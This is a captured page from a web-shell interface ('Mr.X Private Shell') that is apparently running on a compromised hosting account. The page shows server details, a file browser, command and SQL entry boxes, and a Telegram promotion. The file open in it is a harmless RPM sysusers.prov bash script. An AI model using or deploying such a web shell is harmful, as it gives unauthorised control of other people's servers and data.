Uname: Linux 50-6-4-53.bluehost.com 5.14.0-611.41.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 19 03:50:11 EDT 2026 x86_64
User: 1011 (dccreditrepairto)
Group: 1010 (dccreditrepairto)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//lib///rpm      ( Reset | Go to )
File Name: sysusers.prov
#!/usr/bin/bash

parse() {
    while read line; do
        [ "${line:0:1}" = '#' -o "${line:0:1}" = ';' ] && continue
        line="${line## *}"
        [ -z "$line" ] && continue
        set -- $line
        case "$1" in
            ('u')
                echo "user($2)"
                echo "group($2)"
                # TODO: user:group support
                ;;
            ('g')
                echo "group($2)"
                ;;
            ('m')
                echo "user($2)"
                echo "group($3)"
                ;;
        esac
    done
}

while read fn; do
    parse < "$fn"
done

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL